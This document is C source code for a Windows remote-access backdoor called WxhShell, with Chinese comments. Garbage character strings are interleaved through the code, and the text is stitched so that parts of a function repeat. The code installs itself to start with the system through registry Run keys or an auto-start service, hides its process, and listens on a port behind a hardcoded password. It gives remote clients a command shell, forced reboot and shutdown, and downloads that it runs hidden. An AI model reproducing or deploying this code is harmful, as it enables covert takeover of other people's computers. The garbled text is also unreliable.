ULONG InheritedFromUniqueProcessId; h!:~f-@j4 } PROCESS_BASIC_INFORMATION; ]U7KLUY>: q)vplV1A PROCNTQSIP NtQueryInformationProcess; tl'9IGlc IGFR4+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gkv{~?95 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )}'U`'q DHT&,= HANDLE hProcess; ]mXLg:3B PROCESS_BASIC_INFORMATION pbi; <u:WlaS -x4X O`b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F.=Bnw/- if(NULL == hInst ) return 0; g{9+O7q /?1nHBYPM g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [mr9(m[F g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fH?ha NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +@K09ge { F}; n?' if (!NtQueryInformationProcess) return 0; WJ9cZL ^3FE\V/=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;/*6U if(!hProcess) return 0; -TOI c% [kgdv6E if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g}U3y' la?Wnw CloseHandle(hProcess); t/PlcV_M" $4T2z- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p/
>`[I if(hProcess==NULL) return 0; $<|lE/_] d{de6 ` HMODULE hMod; )&<=.q char procName[255]; w7n373y% unsigned long cbNeeded; :BGA. N#_GJSG_| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V)i5=bHC O8W7<Wc|z CloseHandle(hProcess); 7 +@qB]Bi< 4~OQhiJ if(strstr(procName,"services")) return 1; // 以服务启动 R?EASc!b }AvcoD/b return 0; // 注册表启动 N9<Ujom } h}Wdh1.M3 H<G4O02i_ // 主模块 3TZ*RPmFRm int StartWxhshell(LPSTR lpCmdLine) S$^RbI { GzTq5uU& SOCKET wsl; X*7\lf2 BOOL val=TRUE; @AYo-gf int port=0; =?(~aV struct sockaddr_in door; Mf#83<&K nPgeLG"00 if(wscfg.ws_autoins) Install(); W Qc> =60~UM port=atoi(lpCmdLine); q(5+xSg"gK P0-Fc@&Y if(port<=0) port=wscfg.ws_port; x/:4{ :ECi+DxBK WSADATA data; M8b4NF_& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @v*/R%rv t 5Fm=/o1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |uH%6&\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N=)z door.sin_family = AF_INET; io3yLIy, door.sin_addr.s_addr = inet_addr("127.0.0.1"); *+b6B_u] door.sin_port = htons(port); <p?&udqD X}6#II if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *$M'`vj: closesocket(wsl); V8~jf-\$b return 1; Sj(F3wY } STA4 p6 ='E$-_ if(listen(wsl,2) == INVALID_SOCKET) { oQj=;[ closesocket(wsl); Ij'NC C return 1; 47T}0q, } ^-M^gYBR Wxhshell(wsl); ._96*r=o WSACleanup(); a/uo}[Y ag4`n:1 return 0; "XLe3n OlQ,Ce } 4E:bp ^SfS~GQ // 以NT服务方式启动 VIR. yh VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5ZAb]F90 { xDO7A5 DWORD status = 0; gX?n4Csy' DWORD specificError = 0xfffffff; 9%iFV
N' d=]U_+ serviceStatus.dwServiceType = SERVICE_WIN32; s
Fgadz6O serviceStatus.dwCurrentState = SERVICE_START_PENDING; bxXiQa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U~2`P serviceStatus.dwWin32ExitCode = 0; oT|m1aGE serviceStatus.dwServiceSpecificExitCode = 0; ,`8Y8 serviceStatus.dwCheckPoint = 0; '7im serviceStatus.dwWaitHint = 0; Kt.~aaG_ ;#G%U!p hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :'r6TVDW if (hServiceStatusHandle==0) return; Y+/lX 6' mi2o1"Jd$` status = GetLastError(); Gr(|Ra. if (status!=NO_ERROR) 3|Y!2b(:? { ~tGCLf]c\ serviceStatus.dwCurrentState = SERVICE_STOPPED; C6&( c serviceStatus.dwCheckPoint = 0; YTU.$t;Ez serviceStatus.dwWaitHint = 0; ;S/7 h6 serviceStatus.dwWin32ExitCode = status; BvSIM%>h serviceStatus.dwServiceSpecificExitCode = specificError; i`OrMzL SetServiceStatus(hServiceStatusHandle, &serviceStatus); qU[O1bN return; }o9Aa0$*$ } ]9S`[c$ S C_|A9 serviceStatus.dwCurrentState = SERVICE_RUNNING; yD)"c. serviceStatus.dwCheckPoint = 0; " B@jfa% serviceStatus.dwWaitHint = 0; pyW u9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =<<3Pkv7@ } e"+dTq8W hQgN9S5P // 处理NT服务事件,比如:启动、停止 S9Yt 1qb VOID WINAPI NTServiceHandler(DWORD fdwControl) 3#<*k>1G? { $~'Tf>e switch(fdwControl) ?Cci:Lin { O(OmGu4% case SERVICE_CONTROL_STOP: n!N\zx8 serviceStatus.dwWin32ExitCode = 0; (3EUy"z- serviceStatus.dwCurrentState = SERVICE_STOPPED; M'1HA serviceStatus.dwCheckPoint = 0; :nQp.N*p serviceStatus.dwWaitHint = 0; RFG$X-.e { "6I[4U"@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); &(& } '0+$ m= return; \-.
Tg!Q6 case SERVICE_CONTROL_PAUSE: J^I7BsZ serviceStatus.dwCurrentState = SERVICE_PAUSED; -rDz~M+ break; |tG+iF@4 case SERVICE_CONTROL_CONTINUE: T 0 FZ7 serviceStatus.dwCurrentState = SERVICE_RUNNING; 9[|4[3K break; (buw^
,NwZ case SERVICE_CONTROL_INTERROGATE: < `Z%O<X break; *PM}"s }; IF?xnu SetServiceStatus(hServiceStatusHandle, &serviceStatus); -WT3)On } e!o(g&wBj cj(X2L // 标准应用程序主函数 Gidkt;lj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <FmBa4ONU { XS0V:<+, {~GR8
U // 获取操作系统版本 WaYO1*= OsIsNt=GetOsVer(); FWTx&Ip GetModuleFileName(NULL,ExeFile,MAX_PATH); MtG_9- +(ny|r[# // 从命令行安装 p~bkf> if(strpbrk(lpCmdLine,"iI")) Install(); [b5(XIGUN} 6f}e+ 80 // 下载执行文件 |R'i:= if(wscfg.ws_downexe) { ]M4NpUM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Ob8i 1S> WinExec(wscfg.ws_filenam,SW_HIDE); :k1$g+(lP } Z! YpklZ?~ 4
10:%WGc if(!OsIsNt) { OKQLv+q5K) // 如果时win9x,隐藏进程并且设置为注册表启动 KF{a$d HideProc(); s -Y +x StartWxhshell(lpCmdLine); A!;meVUs } MCAXt1sL&E else Wg1tip8s if(StartFromService()) ${e&A^h // 以服务方式启动
~R!gJTO9 StartServiceCtrlDispatcher(DispatchTable); ?0npEz| else )Z:m)k>r; // 普通方式启动 =QiT)9q) StartWxhshell(lpCmdLine); $j
!8? !3KPwI, return 0;
z^~U]S3 } ALR:MAXwC .! j#3J..u p}8ratmN &HxT41pku =========================================== WLy7'3@ B,0+HoP .cw=*<zeg |Q u_E fm6]CU1^ l\U*sro< " ;qT5faKB3J Th+|*=Il #include <stdio.h> hgj0tIi/ #include <string.h> T{~M iC6A #include <windows.h> <`mOU}0) #include <winsock2.h> S&|VkZR) #include <winsvc.h> td/5Bmj #include <urlmon.h> 4JK@<GBK6 2))t*9;h #pragma comment (lib, "Ws2_32.lib") KW:r;BFx #pragma comment (lib, "urlmon.lib") y<uE-4 v|To+P6b #define MAX_USER 100 // 最大客户端连接数
.
X0t" #define BUF_SOCK 200 // sock buffer K-<n`zg3 #define KEY_BUFF 255 // 输入 buffer ./)j5M J/gQQ.s #define REBOOT 0 // 重启 (lb`#TTGx #define SHUTDOWN 1 // 关机 &U0WkW
/Ef4EX0 #define DEF_PORT 5000 // 监听端口 dAwS<5! Hc
/wta #define REG_LEN 16 // 注册表键长度 +cw{aI`a8 #define SVC_LEN 80 // NT服务名长度 U;>B7X;`E4 >";%2u1 // 从dll定义API "DzGBu\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7rPLnB] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PoY>5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @d
P~X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wb'*lT0= 1YFAr}M // wxhshell配置信息 x/[8Wi,yB struct WSCFG { Xi*SDy int ws_port; // 监听端口 &{hc char ws_passstr[REG_LEN]; // 口令 (mY(\mu} int ws_autoins; // 安装标记, 1=yes 0=no -|$* l
Q char ws_regname[REG_LEN]; // 注册表键名 e
Ri!\Fx char ws_svcname[REG_LEN]; // 服务名 _AAx
) char ws_svcdisp[SVC_LEN]; // 服务显示名 3v G char ws_svcdesc[SVC_LEN]; // 服务描述信息 o[2Y;kP3*P char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K9LEIby int ws_downexe; // 下载执行标记, 1=yes 0=no PgqECd)f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |/2LWc? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (S 3jZ `-5cQ2>" }; hX %s]" TR|;,A[%v# // default Wxhshell configuration ZG!x$yi$ struct WSCFG wscfg={DEF_PORT, >5df@_' "xuhuanlingzhe", )e#fj+>x) 1, TLX^~W[gOm "Wxhshell", 7:ckq(89 "Wxhshell", ]P
JH'= "WxhShell Service", I_K[!4~Kn "Wrsky Windows CmdShell Service", fyGCfM "Please Input Your Password: ", *;Ak5.du 1, @],Z 2 "http://www.wrsky.com/wxhshell.exe", `2sdZ/fO "Wxhshell.exe" .k
p$oAL }; ^]KIgGv\ V_ {vZ/0e // 消息定义模块 enWF7` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yi&?d&rK char *msg_ws_prompt="\n\r? for help\n\r#>"; !OV|I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 57'q;I char *msg_ws_ext="\n\rExit.";
:Q8g?TZ char *msg_ws_end="\n\rQuit."; Ml8E50t>; char *msg_ws_boot="\n\rReboot..."; F: f2s:< char *msg_ws_poff="\n\rShutdown..."; ?UU5hek+m char *msg_ws_down="\n\rSave to "; {kT#o3,>w6 pFS
F[9?e> char *msg_ws_err="\n\rErr!"; %!>k#F^S char *msg_ws_ok="\n\rOK!"; m]E o(P4+ X"laZd947> char ExeFile[MAX_PATH]; <r@bNx@T int nUser = 0; R
A*(|n> HANDLE handles[MAX_USER]; NEZH<# int OsIsNt; IQo]9Lx s_x=^S3~LO SERVICE_STATUS serviceStatus; Cb+P7[X- SERVICE_STATUS_HANDLE hServiceStatusHandle; 7^`RP e^a+ YAX #O\, // 函数声明 Y#GT*V int Install(void); (Be$$W int Uninstall(void); R
%Rv int DownloadFile(char *sURL, SOCKET wsh); N=hSqw[ int Boot(int flag); 3`mC"ab / void HideProc(void); 3AX?B~s int GetOsVer(void); N+ak[axN int Wxhshell(SOCKET wsl); =mDy@%yx! void TalkWithClient(void *cs); IJ+O),' int CmdShell(SOCKET sock); ~:R4))qpg int StartFromService(void); mxtlr) int StartWxhshell(LPSTR lpCmdLine); Rc;1Sm9\ Oz_b3r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B/kcb(5v VOID WINAPI NTServiceHandler( DWORD fdwControl ); &3!i@2d;3f Xcs8zT // 数据结构和表定义 :d, >d SERVICE_TABLE_ENTRY DispatchTable[] = oiIt3<BX { ?+5"
%4o {wscfg.ws_svcname, NTServiceMain}, V6A5(-%`y {NULL, NULL} +#&el// }; O@G<B8U,K 0V{>)w!Fo // 自我安装 $%lHj+( int Install(void) sE(X:[Am { (!^N~ =e; char svExeFile[MAX_PATH]; $`cy'ZaF HKEY key; G7Edi;y/{ strcpy(svExeFile,ExeFile); t[L2'J.5 #JX|S'\x // 如果是win9x系统,修改注册表设为自启动 ;,[EJR^CI if(!OsIsNt) { 1q;I7_{ 2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 853]CK< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +_vm\]4 RegCloseKey(key); pO-)x:Wg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gDUoc*+h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J
tn&o"C RegCloseKey(key); =|DkD-
O return 0; $i5G7b } LIm$Wl1U } S^_JC } x`j_d:C~G else { AmUe0CQ:k' arpJiG~JR // 如果是NT以上系统,安装为系统服务 8trm`?> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bCe[nmE2 if (schSCManager!=0) oW\Q>c7
= { x3:ZB SC_HANDLE schService = CreateService #,Fx@3y\a ( _.s\qQ schSCManager, 72BzvY. wscfg.ws_svcname, # UP,;W wscfg.ws_svcdisp, b*$o[wO9 SERVICE_ALL_ACCESS, .pNq-T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =}6Z{}(TT SERVICE_AUTO_START, i&AXPq>` SERVICE_ERROR_NORMAL, jb6ZAT<8 svExeFile, 06j)P6Iju NULL, dqK NULL, @Reh?]# v NULL, P^o"PKA NULL, -v/?> NULL AmrJ_YP/t~ ); 3oNt]2w/' if (schService!=0) {/,+_E/ { wE.@0 CloseServiceHandle(schService); noD7G2o CloseServiceHandle(schSCManager); Tk2&{S " strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8tB{rK, strcat(svExeFile,wscfg.ws_svcname); .5$V7t.t$\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N-_| %C-. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pB{ f-M:D RegCloseKey(key); b_"V%<I return 0; )G F } 07E".T%Ts } _3-,3ia CloseServiceHandle(schSCManager); ~"hAb2 } 'ra_Zg[j } OHXeqjhy `04Y ;@w return 1; YC+ZVp"v } //@sktHsw( ( kD?},Z // 自我卸载 L2Q p6A6S int Uninstall(void) b~N|DKj { )l/C_WEK HKEY key; p-ii($~} Y7IlqC`i if(!OsIsNt) { 2oNPR+
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &~f*q?xR RegDeleteValue(key,wscfg.ws_regname); *?
orK o RegCloseKey(key); ABS
BtH ? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mz#S5 s RegDeleteValue(key,wscfg.ws_regname); o::ymAj RegCloseKey(key); z8rh*Rfxd return 0; A?<"^<A^ } gJ}'O4*b }
19.!$; } 1QdB`8in else { .bl/At3A !&:.Uh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +[go7A$5 if (schSCManager!=0) j^R~ Lt4 { W(3~F2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )SO1P6 if (schService!=0) V3Rnr8 { j$/uJ` if(DeleteService(schService)!=0) { X/C54%T ~ CloseServiceHandle(schService); N"Nd $4 CloseServiceHandle(schSCManager); P^W$qy| return 0; we@En
.>f } (Su2\x CloseServiceHandle(schService); ?&t|?@ } M<me\s) CloseServiceHandle(schSCManager); Y3F.hk}O } mfi'>o# } ,t,65@3+b -
G2M;]Cn return 1; MLDg).5 } ;Z<*.f'^fc KARQKFp!C> // 从指定url下载文件 LZ<(:S int DownloadFile(char *sURL, SOCKET wsh) ur_"m+ { ry<}DK<u HRESULT hr; Ik2szXh[J char seps[]= "/"; N4JL.(m){I char *token; (VF4] char *file; jjlCi<9CQ^ char myURL[MAX_PATH]; ;`Ch2b1+ char myFILE[MAX_PATH]; *d*;M> |"(3]f\ strcpy(myURL,sURL); zAdVJ58H token=strtok(myURL,seps); J!gWRw5 while(token!=NULL) -O q=J; { 29E@e]Y,` file=token; o\Vt $ token=strtok(NULL,seps); IF21T } G6g=F+X2 "I1M$^8n GetCurrentDirectory(MAX_PATH,myFILE); d}G."wnG9, strcat(myFILE, "\\"); At_Y$N: strcat(myFILE, file); ~\(>m=|C:H send(wsh,myFILE,strlen(myFILE),0); ~k_zMU-1 send(wsh,"...",3,0); MnsWB[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v-]-wNqT if(hr==S_OK) rsj}hS$ return 0; ]m,p3 else a-A4xL.gm return 1; h]z|OhG {xx;zjt%}} } r}M4()9L 9'r3L)[ // 系统电源模块 ;DWp>jgy int Boot(int flag) PL2Q!i`[o { OX`GN#yl HANDLE hToken; E
MbI\=>yS TOKEN_PRIVILEGES tkp; &wC.?w$ !6`nN1A if(OsIsNt) { a5+v)F/= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [t\Mu}b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tTxo:+xg tkp.PrivilegeCount = 1; OehB"[;+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *y@]zNPD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cjb p- if(flag==REBOOT) { !ef)Ra-W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V0&QEul return 0; X-^Oz@.> } ZQ8Aak else {
Y2$`o4*3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5rSth.& return 0; B_G7F[/K } ZuV } \)
ONy9 else { !f2>6}hE if(flag==REBOOT) { ]$*_2V3VA$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D#AxgF_He return 0; Sk%|-T(d$ } 3W
WxpTU else { 1j-i nj` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h$h`XBVZe; return 0; /]>{"sS( } *wx^mB9 } +Rd{ ?)2~ 25KZe s) return 1; 30-wTcG } fxa^SV /1GZN *I // win9x进程隐藏模块 FA GVpO[ void HideProc(void) AFA*_9Ut { aM1JG$+7 G cHd39H9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wBGxJ\+M if ( hKernel != NULL ) u _^=]K; { bhT]zsBK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2UJ0%k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); : \`MrI^ FreeLibrary(hKernel); =l_"M } Q)dns)_x 'hWRwP| return; D1/$pA+B } =jHy6)6w mw%_yDZ{ // 获取操作系统版本 Z@umbyM int GetOsVer(void) gQGiph | { eT?LMBn\ OSVERSIONINFO winfo; .
2Q/D?a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7K4%`O
GetVersionEx(&winfo); hY'%SV
p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;sJ2K"c return 1; t)+dW~g else &(7Io? return 0; zYJxoC{ } arrcHf4O o%7yhCY // 客户端句柄模块 ?2Dz1#%D int Wxhshell(SOCKET wsl) Kj5f:{Ur { w+D5a
VJ SOCKET wsh; |U0@(H
struct sockaddr_in client; 9_$Odc%] DWORD myID; `Nr7N#g+u r}bKVne while(nUser<MAX_USER) 6U]7V { 6<6_W# int nSize=sizeof(client); iDN,}:<V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Grv|Wuli if(wsh==INVALID_SOCKET) return 1; m#p^'}]!; [V~bo/n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |-<L :% if(handles[nUser]==0) 0^^i=iE-u closesocket(wsh); YO61 pZY else J ASn\z nUser++; ?a(3~dh| } ay.IKBXc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $r_ gFv i{0_}"B return 0; #a:C=GV;4 } N<%,3W_-_ : Tl?yGF // 关闭 socket 9NAlgET void CloseIt(SOCKET wsh) s q$|Pad[ { 6Rj
X closesocket(wsh); $x*GvI1D nUser--; rY.:}D ExitThread(0); ,j<"~"]
= } zq&lxySa }% *g\%L // 客户端请求句柄 TMBdneS-s void TalkWithClient(void *cs) fZC,%p { Y#,MFEd %{"STbO #> SOCKET wsh=(SOCKET)cs; hW&UG#PY> char pwd[SVC_LEN]; hd' n" char cmd[KEY_BUFF]; N0f}q1S<-A char chr[1]; m~A/.t%= int i,j; \8ZNXCP -D(!B56_ while (nUser < MAX_USER) { E83nEUs w8Yff[o if(wscfg.ws_passstr) { |Sq>uC) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $G[##j2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); he #iWD' //ZeroMemory(pwd,KEY_BUFF); JZ
[&: i=0; L`v,:#Y while(i<SVC_LEN) { q)X&S*-<o~ w93,N+es6 // 设置超时 *yx:nwmo fd_set FdRead; ;iVyJZI struct timeval TimeOut; Sz&`=x# FD_ZERO(&FdRead); cA kw5}P FD_SET(wsh,&FdRead); 4(]k=c1< TimeOut.tv_sec=8; @U5o;X!qU TimeOut.tv_usec=0; &[uGfm+@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CDhk!O.. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5o*x?P!$ S6
*dp68 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .67W\p pwd=chr[0]; "]<Ut{Xb if(chr[0]==0xd || chr[0]==0xa) { .xx9tP}Xy pwd=0; ]M/w];: break; :%gBcL9T } (0r6_8e6xv i++; e[n>U@ } !*;)]j AF
!_!qc; // 如果是非法用户,关闭 socket sXTO`W/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;A_QI>> } z; +x`i. smggr{- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &x3y.}1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x8[8z^BV?e pH%K4bV)8 while(1) { |NqQKot1 !TcjB;q' ZeroMemory(cmd,KEY_BUFF); "F&uk~ b$ 827N?pU$) // 自动支持客户端 telnet标准 |8"HTBb\CW j=0; WW.=>]7; while(j<KEY_BUFF) { 2rk_ ssvs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z3,z&Ra cmd[j]=chr[0]; (Jm_2CN7X if(chr[0]==0xa || chr[0]==0xd) { E+gUzz5 cmd[j]=0; qlu yJpt break; @({65 gJ* } 7K~=Q Ec j++; SFHa(JOS } [M.Vu > 01k
u // 下载文件 51A>eU| if(strstr(cmd,"http://")) { j<[<qU: send(wsh,msg_ws_down,strlen(msg_ws_down),0); uAP|ASH9T if(DownloadFile(cmd,wsh)) Lqt] send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!O'DM+ else d;z`xy(C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a)]N#gx } .._wTOSq else { QL3%L8 #/aWGx_ switch(cmd[0]) { j JW0a\0 ^U52
*6 // 帮助 S}>rsg! case '?': { lp6GiF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Y-GbG.' break; F~m tE8B: } g$ h!:wW // 安装 J;qH w[6 case 'i': { 0F"xU1z, if(Install()) j%lW+[% send(wsh,msg_ws_err,strlen(msg_ws_err),0); B=f{`rM)~W else yuND0,e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3E#acnqn* break; rl4-nA } _z_uz\#, // 卸载 Fw|5A"9'a' case 'r': { `Tab'7 if(Uninstall()) U7OW)tUf send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)+cI?\# else Tsa&R:SE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9s}--_k?F2 break; 5)}xqE"x } W>Zce="_gN // 显示 wxhshell 所在路径 ?wmr~j case 'p': { ]p~XTZgW char svExeFile[MAX_PATH]; _vad>-=D*U strcpy(svExeFile,"\n\r"); P/27+5(| strcat(svExeFile,ExeFile); !=a8^CV send(wsh,svExeFile,strlen(svExeFile),0); Es?~Dd break; $]O\Ryf6 } @r#> -p // 重启 &.d~
M1Mz case 'b': { aFLm, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %;gD_H4mm if(Boot(REBOOT)) ce@(Ct send(wsh,msg_ws_err,strlen(msg_ws_err),0); -IPc;`< else { 2rA`y8g(L closesocket(wsh); h4V.$e<T& ExitThread(0); c|E } k1X <jC]P break; !d ZHG
R } A w83@U // 关机 L|v1=qNH4 case 'd': { Zcc6E2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xX}vxhN if(Boot(SHUTDOWN)) IKpNc+;p send(wsh,msg_ws_err,strlen(msg_ws_err),0); 67d0JQTu else { -E.EI@" closesocket(wsh); sC/T)q2 ExitThread(0); F$)Ki(mq } @L`t/OD break; m~#O
~) } zp d4uto5 // 获取shell y>|7'M*+ case 's': { "xw2@jGpG CmdShell(wsh); VaH#~! closesocket(wsh); Fe:0nr9; ExitThread(0); MSw/_{ break; 0LxA+ } *&LVn)@[` // 退出 Up`zVN59. case 'x': { ]U]{5AA6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gg5`\} CloseIt(wsh); i4AmNRs break; C5F}*]E[y } NFsMc0{ // 离开 %A?Ym33 case 'q': { SZEX;M send(wsh,msg_ws_end,strlen(msg_ws_end),0); koe&7\ _@ closesocket(wsh); x2;92I{5C, WSACleanup(); RoPz?,u exit(1); 6Vi #O^> break; iugTXZ( } 'R= r9_% } -]HO8}-Rjs } !<@Zf4m )t0t*xu# // 提示信息 jRzR`>5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .BZw7
YV } l1a=r:WhH } ~,.Agx TR|G4l? return; %
`\8z } BT>8 Z3=t" // shell模块句柄 Es1Yx\/: int CmdShell(SOCKET sock) >AV?g8B; { -49OE*uF STARTUPINFO si; _<&IpT{w+ ZeroMemory(&si,sizeof(si)); KD=T04v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J %URg=r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u
JGYXlLE PROCESS_INFORMATION ProcessInfo; V\^?V| char cmdline[]="cmd"; 19h8p>Sx0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F(:+[$) return 0; `
Y"Rh[C } 27}k63 \ 7'd_]e-. // 自身启动模式 $U3s:VQ ' int StartFromService(void) xqX~nV#TB { }>fL{};Z" typedef struct 4,
8gf2 { -TSn_XE DWORD ExitStatus; >cQ*qXI0 DWORD PebBaseAddress; qbpvTTF DWORD AffinityMask; O]90F DWORD BasePriority; g.Z>9(>;Y ULONG UniqueProcessId; ~\(U&2t
ULONG InheritedFromUniqueProcessId; r)q6^|~47 } PROCESS_BASIC_INFORMATION; j'I$F1>Te Xb5n;=) PROCNTQSIP NtQueryInformationProcess; h{VCx#!] bo`w(h_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fn yA;,* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^3 F[^#" 0l!@bj HANDLE hProcess; 26&^n
Uy PROCESS_BASIC_INFORMATION pbi; AS'a'x>8>, FX4](oM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RV.*_FG if(NULL == hInst ) return 0; A{Jv`K
